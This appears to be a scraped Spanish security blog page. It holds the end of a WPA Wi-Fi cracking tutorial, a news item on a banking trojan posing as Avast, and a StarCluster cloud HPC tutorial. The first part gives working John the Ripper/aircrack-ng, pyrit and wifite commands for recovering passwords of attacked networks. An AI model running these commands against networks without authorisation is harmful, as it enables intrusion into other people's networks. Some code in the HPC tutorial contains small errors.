<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Utilizando el john the ripper</span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"># /pentest/passwords/jtr/john --stdout --incremental:all | <span style="text-indent: -0.38in;">aircrack-ng -b</span><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">4A:2C:56:33:76:5E</span><span style="text-indent: -0.38in;"> -w - </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;">/tmp/wpa2*.cap</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Ahora sólo nos queda esperar en vista que el tiempo es proporcional a la dificultad del </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">password.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">Existe una herramienta que también es muy recomendable por su automatización y por el </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">tiempo que nos</span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"> ahorrará ,siendo </span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;">muy usada en las auditorias.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><b>WIFITE</b> es una herramienta que esta desarrollada en Python y que nos permitirá realizar </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">ataque WEP y WAP al</span></span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"> mismo tiempo, </span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;">para esto lo descargamos :</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">#wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">#chmod +x wifite.py</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">ejecutamos la aplicación</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#./wifite.py</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">Lo que viene a continuación es sólo seguir la instrucción del programa que prácticamente </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">trabajará al punto que </span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;">nos brindara directamente el password de la red atacada.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;"><br /></span></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">David
</span><span style="font-style: italic;">Hulton</span><span style="font-style: italic;">,
permite alquilar en su web alquilar por pocos dólares, </span><span style="font-style: italic;">clusters</span><span style="font-style: italic;">
de tarjetas </span></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">FPGAS para </span></span></b><b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">crackear</span><span style="font-style: italic;">
WPA. </span></span></b><b style="font-style: italic; text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><a href="https://www.cloudcracker.com/" style="text-indent: -0.38in;">https://www.cloudcracker.com/</a></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-style: italic; text-indent: -0.38in;"><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRtL6EffKZ4Ce_4JE_YI7o87lostvsj9Hdlvotw18v3H3Q0JIlfMIFwc7tvvrXKvxVm_JpAUW_YN4KUcN5ZzfpC6HOSEx6uP0sA8zhEsqNJDZosf-3AilyFrThipdqcn4YM8wrZqXPBxhs/s1600/clus2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="412" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRtL6EffKZ4Ce_4JE_YI7o87lostvsj9Hdlvotw18v3H3Q0JIlfMIFwc7tvvrXKvxVm_JpAUW_YN4KUcN5ZzfpC6HOSEx6uP0sA8zhEsqNJDZosf-3AilyFrThipdqcn4YM8wrZqXPBxhs/s640/clus2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; text-align: justify; unicode-bidi: embed; vertical-align: baseline;">
<b><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">Si
se dispone de tarjetas gráficas compatibles, se pueden utilizar herramientas
que son </span></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; text-align: justify; unicode-bidi: embed; vertical-align: baseline;">
<b><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">capaces de </span></span></b><b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">procesar el ataque en los núcleos de las propias </span><span style="font-style: italic;">GPUs</span><span style="font-style: italic;">.
Por ejemplo, con </span></span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; text-align: justify; unicode-bidi: embed; vertical-align: baseline;">
<b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">Elcomsoft</span><span style="font-style: italic;">
Wireless Security </span></span></b><b style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-style: italic;">Auditor (Windows). </span></span></b><b style="font-style: italic; text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><a href="http://www.elcomsoft.es/" style="text-indent: -0.38in;">http://www.elcomsoft.es</a></span></b></div>
<div style="direction: ltr; language: es-TRAD; margin-bottom: 0pt; margin-top: 8.0pt; punctuation-wrap: hanging; text-align: left; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-style: italic; text-indent: -0.38in;"><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCxcdQbUoIOjNHXmAS2KZjRWowa7mbDVWzlw2FsU1UOr5oSAx71i0cs66MfrGkM4Zlb0RFUPZgGF2DTZhBc1W2rFJH0EZUxK8WqBahyphenhyphenR3EjE4YStRsY4XbSrgwWhBAd0UBfFWJMEAfinmE/s1600/clus3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="506" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCxcdQbUoIOjNHXmAS2KZjRWowa7mbDVWzlw2FsU1UOr5oSAx71i0cs66MfrGkM4Zlb0RFUPZgGF2DTZhBc1W2rFJH0EZUxK8WqBahyphenhyphenR3EjE4YStRsY4XbSrgwWhBAd0UBfFWJMEAfinmE/s640/clus3.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i>En
Linux, se puede usar Pyrit. Este programa permite crear
Bases de datos masivas de </i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i>hashes </i></b></span><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>precalculados </i></b><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>de passwords.
Para ello hace uso de los multiples cores
de una </i></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>maquina y de algunas </i></b><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>tarjetas graficas como </i></b><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>ATI-Stream,
Nvidia
CUDA and OpenCL. </i></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>Es el ataque más potente que se puede </i></b><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>hacer actualmente para ataques </i></b><b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>de fuerza </i></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"><i>bruta.</i></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<b style="font-family: Arial, Helvetica, sans-serif; font-size: small; text-indent: -0.38in;"><i><br /></i></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG3kounU6hawOmucM2NfJcdy8ATFZiJf-ZDXigcWbP3JPCxHl5CA06VUgxNZrDWsVM8B3k1lDWUZXG6r3W4nzKC8jyhn_ZyNXpELkaZfDoFjJDfeVmixG11H1oeu45K_-l3MesqH1zDXJX/s1600/linux.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG3kounU6hawOmucM2NfJcdy8ATFZiJf-ZDXigcWbP3JPCxHl5CA06VUgxNZrDWsVM8B3k1lDWUZXG6r3W4nzKC8jyhn_ZyNXpELkaZfDoFjJDfeVmixG11H1oeu45K_-l3MesqH1zDXJX/s640/linux.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i>Comandos:
pyrit -r captura_WPA_Wifilabs.pcap-01.cap
-i dict.txt -b 1c:7e:e5:fd:08:f8 </i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i>attack_passthrough</i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i> -r
à fichero de captura de Handshake</i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i> -i
à Dicccionario</i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i> -
b à BSSID de la red</i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b><i> attack_passthrough</i></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif; font-size: x-small;"><b><i><br /></i></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisaMjXmMKo4BuHu_Nt5G9IOJ-JDYjaajweZbIoAP2qSp_4H2mxtXqwMi-Cb4rTUPHOCBPGSvsir-L1iqKxKcz4SzGJThijfr_dDZLBKGS1MSHjanfHDpz_pRXf336-62FUhT6W1uXPbmQP/s1600/linux2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisaMjXmMKo4BuHu_Nt5G9IOJ-JDYjaajweZbIoAP2qSp_4H2mxtXqwMi-Cb4rTUPHOCBPGSvsir-L1iqKxKcz4SzGJThijfr_dDZLBKGS1MSHjanfHDpz_pRXf336-62FUhT6W1uXPbmQP/s640/linux2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />
</div>
</div>
</div>
</div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-63052741820762047352013-02-12T11:33:00.003+01:002013-02-12T11:44:31.776+01:00Troyano se hace pasar por el popular antivirus Avast<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black;"><br /></span>
<div style="color: #333333; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; margin: 0px; padding: 0px; text-align: center;">
<span style="background-color: black;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: black; color: #333333; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"><br /></span></div>
<span style="background-color: #fafafa; color: #333333; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"></span><br />
<div style="text-align: justify;">
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">La firma de seguridad Kaspersky ha detectado un malware que se distribuye mediante correos spam y que tras introducirse en el ordenador de la víctima se hace pasar por el <a href="http://www.infospyware.com/antivirus-gratis/avast-free/" style="text-decoration: initial;" target="_blank"><b>antivirus avast!</b></a> para evitar ser detectado. </span></div>
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">
</span>
<div style="text-align: justify;">
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"><br /></span></div>
<span style="background-color: black;"><span style="color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"></span></span><br />
<div style="text-align: justify;">
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Se trata de un <i>"troyano bancario brasileño"</i>, cuyo objetivo es captar datos financieros y enviarlos a los ciberdelincuentes, y está dirigido principalmente a usuarios de Brasil, donde el antivirus gratuito Avast es el más popular.</span></div>
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">
</span>
<span style="background-color: #fafafa; color: #333333; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsEnhbNOLATVgW2BKgoHvUyEmO8hfvlLV9GDnSW_4PfrA7kxF2JwC-absW5PE2fijYeRLZxI9vwTMp1oCceflxDOX3K5AzbyCNAYWZCiVUz4uzcdtCUakKr6C5YV4sSjlfLoG7LK_zEKEq/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsEnhbNOLATVgW2BKgoHvUyEmO8hfvlLV9GDnSW_4PfrA7kxF2JwC-absW5PE2fijYeRLZxI9vwTMp1oCceflxDOX3K5AzbyCNAYWZCiVUz4uzcdtCUakKr6C5YV4sSjlfLoG7LK_zEKEq/s1600/1.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="background-color: black; color: white;"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">Al infectar el equipo el malware muestra el icono de Avast en la bandeja del sistema. Si se pincha sobre él aparece una ventana emergente con el mensaje </span><b style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">"Su Avast! antivirus está siendo actualizado, espere", o bien "Avast antivirus: atención, su sistema está protegido".</b></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<b style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;"><span style="background-color: black; color: white;"><br /></span></b></div>
<div class="separator" style="clear: both; text-align: justify;">
<b style="background-color: #fafafa; color: #333333; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;"><br /></b></div>
<div style="text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimH5Nb7E4CB70ZSPZ4k4DVIrDTznlf80cQkrFqQLA_Ei_PYSx8EVMQJBU7Bkw4AyIDnC2gtl5GUUDojE3Jtx0P7j-MQBckdjJmkYKs5a88_38qAUhe706gGKcFXduYoFgsIy6SNRjS2SgT/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimH5Nb7E4CB70ZSPZ4k4DVIrDTznlf80cQkrFqQLA_Ei_PYSx8EVMQJBU7Bkw4AyIDnC2gtl5GUUDojE3Jtx0P7j-MQBckdjJmkYKs5a88_38qAUhe706gGKcFXduYoFgsIy6SNRjS2SgT/s400/2.png" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="background-color: black;"><span style="color: white;"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">Antes de descargar el producto Avast falso, otro módulo, basado en el producto anti-rootkits Avenger, trata de eliminar los siguientes productos antivirus del sistema, si es que están instalados: </span><b style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">AVG, McAfee, Panda, Nod32, Kaspersky, Bitdefender, Norton, Microsoft Security Essentials, PSafe, Avira y Avast.</b></span></span><br />
<span style="background-color: black;"><span style="color: white;"><br style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;" /></span></span>
<span style="background-color: black; color: white; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">Se usan muchos archivos maliciosos en la misma campaña. Tienen tareas diferentes y Kaspersky Anti-Virus los detecta como</span></div>
<div style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;">
<span style="background-color: black;"><span style="color: white;">Trojan.Win32.Delf.ddir, Trojan.Win32.ChePro.aov, Trojan.Win32.ChePro.anv, Trojan-Banker.Win32.Delf.apg, not-a-virus:RiskTool.Win32.Deleter.i, Trojan-Banker.Win32.Agent.jst y Trojan.Win32.Delf.ddiq.</span></span></div>
<span style="background-color: black;"><span style="color: white;"><br style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;" /></span></span>
<span style="background-color: black;"><span style="color: white;"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;">Parece que los cibercriminales brasileños piensan:</span><b style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;"><i> “¿Para qué combatir las detecciones de antivirus? A veces es muy complicado. Mejor reemplacémoslas con nuestras propias soluciones falsas y todos salimos ganando”.</i></b></span></span><br />
<div style="text-align: justify;">
<span style="background-color: black;"><span style="color: white;"><b style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; text-align: left;"><i> </i></b><span style="text-align: left;"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: x-small;"><b><i>http://www.infospyware.com</i></b></span></span></span></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-24110660163720372862013-02-12T02:01:00.001+01:002013-02-12T02:01:56.420+01:00HPC en la nube con StartCluster<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Hola, por ahi les comentaré un artículo que encontré de "Garvin W.Burris" que habla HPC basada en la nube. StartCluster es un proyecto del Massachusetts Institute of Technology (MIT) elaborado por Software Tools for Academics and Researchers (STAR), el Kit de herramientas es de código abierto y se distribuye libremente. La última versión de desarrollo se encuentra en el sistema de control de revisiones Github. Es prerequisito para el uso de StarCluster disponer de una cuenta de Amazon AWS. El ejemplo que mostrado sólo les deberá costar lo mínimo(céntimos) por el uso de una pequeña cantidad de almacenamiento en disco Elastic Block Storage (EBS), así disponiendo de la cuenta abrimos una terminal en Linux local.</div>
<br />
Primero creamos un directorio para el proyecto llamado starcluster:<br />
<br />
$mkdir ~/starcluster ; cd ~/starcluster<br />
$curl -0 https://raw.github.com/pypa/virtualenv/master/virtualenv.py<br />
$python virtualenv.py cloudhpc<br />
New python executable in cloudhpc/bin/python<br />
Installing setuptools...........................done.<br />
Installing pip........................done.<br />
$.cloudhpc/bin/activate<br />
$pip install starcluster<br />
Downloading/unpacking starcluster ...<br />
Sucefully installed starcluster ssh boto<br />
workerpool Jinja2 decorator pyasn1 pycrypto<br />
Cleaning up...<br />
<br />
Al ejecutarse StarCluster lanzará un error , preguntandonos si queremos crear una configuración nueva. Seleccionamos la opción 2 para crear un fichero de configuración por defecto.<br />
<br />
$starcluster help<br />
StarCluster - (http>//web.mit.edu/starcluster)<br />
(v.0.93.3)<br />
Software Tools for Academics and Researchers(STAR)<br />
Please submit bug reports to starcluster@mit.edu<br />
<br />
!!! ERROR - config file ~/.starcluster/config does not exist<br />
Options:<br />
---------<br />
[1] Show the StarCluster config template<br />
[2] Write config template to~/.starcluster/config<br />
[q] Quit<br />
<br />
Please enter your selection: 2<br />
>>config template written to ~/.starcluster/config<br />
>>Please customize the config template<br />
<br />
editamos dicho fichero de configuración estableciendo los valores correspondientes. Asegurandonos de sustituir nuestras creenciales. Añadimos Parámetros a la configuración:<br />
<br />
$nano ~/.starcluster/config<br />
[aws info]<br />
AWS_ACCESS_KEY_ID=YOUR_AWS_Access_key_ID<br />
AWS_SECRET_ACCESS_KEY=YOUR_Secret_Access_key<br />
AWS_USER_ID=YOUR_amazon_userid<br />
<br />
creamos la clave SSH para el acceso por la Shell remota a los nodos del Clúster , introducimos el siguiente comando:<br />
<br />
$starcluster createkey -o ~/starcluster/foocluster.rsa foocluster<br />
<br />
Especificamos la imagen y tipo de instancia:<br />
<br />
$nano ~/.starcluster/config<br />
[key foocluster]<br />
KEY_LOCATION=~/starcluster/foocluster.rsa<br />
[cluster smallcluster]<br />
KEYNAME=foocluster<br />
NODE_IMAGE_ID=ami -d3ce7bba<br />
NODE_INSTANCE_TYPE=tl.micro<br />
<br />
Iniciando el Micro Cluster de dos nodos<br />
<br />
$starcluster start -s 2 foocluster<br />
...<br />
>>>Using default cluster template:smallcluster<br />
>>>Validating cluster template settings...<br />
>>>Cluster template settings are valid<br />
>>>Starting cluster...<br />
>>>Launching a 2-node cluster...<br />
...<br />
>>>Configuring cluster took 1.154 mins<br />
>>>Starting cluster took 2.305 mins<br />
...<br />
<br />
El nodo principal de un cluster se denomina nodo maestro. Listando los cluster en ejecución:<br />
<br />
$starcluster listclusters<br />
...<br />
Uptime:0 days, 00:04:05<br />
Zone:us-east-1d<br />
keypair: foocluster<br />
EBS volumes:<br />
vol - 4c048437 on master:/dev/sda (status:attached)<br />
vol - 4f048434 on node001:/dev/sda (status:attached)<br />
Cluster nodes:<br />
master running i -6a10c710<br />
ec2-50-17-57-111.compute-1.amazonaws.com<br />
node001 running i - 6810c712<br />
ec2-23-20-255-177.compute-1.amazonaws.com<br />
Total nodes: 2<br />
<br />
Visualizando la cola:<br />
<br />
$starcluster sshmaster foocluster -u sgeadmin<br />
[sgeadmin@master~]$ qstat -g c<br />
...<br />
[sgeadmin@master~]$qhost<br />
...<br />
<br />
El estado muestra que tenemos 2 hosts con un hueco de CPU cada uno en la cola de trabajos all.q Pero por qué se utilizan estas CPUs?como ejemplo usaremos el método de Montecarlo para calcular el valor de PI:<br />
$grep -v local /etc/hosts | cut -d" " -f2>~/hostfile<br />
$nano pi.py<br />
$mpirun -np 2 -hostfile hostfile python pi.py<br />
3.14192133333<br />
<br />
fichero pi.py<br />
01 from mpi4py import MPI<br />
02 import random<br />
03<br />
04 comm=MPI.COMM_WORLD<br />
05 rank=comm.Get_rank()<br />
06 mpisize=comm.GET_size()<br />
07 nsamples=int(6e6/mpisize)<br />
08<br />
09 inside=0<br />
10 random.seed(rank)<br />
11 for i in range(nsamples):<br />
12 x=random.random()<br />
13 y=random.random()<br />
14 if (x*x)+(y*y)<1:<br />
15 inside += 1<br />
16 <br />
17 mypi=(4.0 * inside)/nsamples<br />
18 pi=comm.reduce(mypi , op=MPI.SUM, root=0)<br />
19<br />
20 if rank==0<br />
21 print(1.0 / mpisize)*pi<br />
<br />
Crearemos un script de trabajo especificando el entorno de paralelización ,para usar la cola:<br />
01#!/bin/sh<br />
02#Export all environment variables<br />
03#$ -V<br />
04#Your job name<br />
05#$ -N pi<br />
06#Use current working directory<br />
07#$ -cwd<br />
08#Join stdout and stderr<br />
09#$ -j y<br />
10#PARALLEL ENVIRONMENT:<br />
11#$-pe orte 2<br />
12#Enable resource reservation<br />
13#$ -R y<br />
14#The max hard walltime for this job is 16 minutes (after this it will killed)<br />
15#$ -l h_rt=00:16:00<br />
16#The max soft walltime for this job is 15 minute(after this SIGUSR2 will be sent)<br />
17#$ -l s_rt=00:15:00<br />
18echo "Got $NSLOTS processors."<br />
19#The mpirun command.<br />
20mpirun -np $NSLOTS python pi.py<br />
<br />
enviamos con el comando :<br />
$nano pi.sh<br />
$qsub pi.sh<br />
<br />
comprobamos el estado del trabajo con el comando qstate. Tras finalizar la salida de trabajo podemos encontrarla en el fichero $JOB_NAME ó $JOB_ID<br />
$qstat<br />
$cat pi.o1<br />
...<br />
Got 2 processors.<br />
3.14192133333<br />
<br />
Cuando hayamos finalizado, tenemos que asegurarnos de salir y finalizar todas las instancias (porque la factura se basará en las horas de uso) introducimos las siguientes líneas:<br />
$exit<br />
$startcluster terminate foocluster<br />
...<br />
Terminate EBS cluster foocluster (y/n)? y<br />
<br />
Para aprender más de StarCluster del MIT podrán encontar información en :<br />
<br />
http://web.mit.edu/star/cluster/docs/latest/contents.html<br />
http://github.com/jtriley/StarCluster/wiki<br />
<br />
<br />
<br /></div>
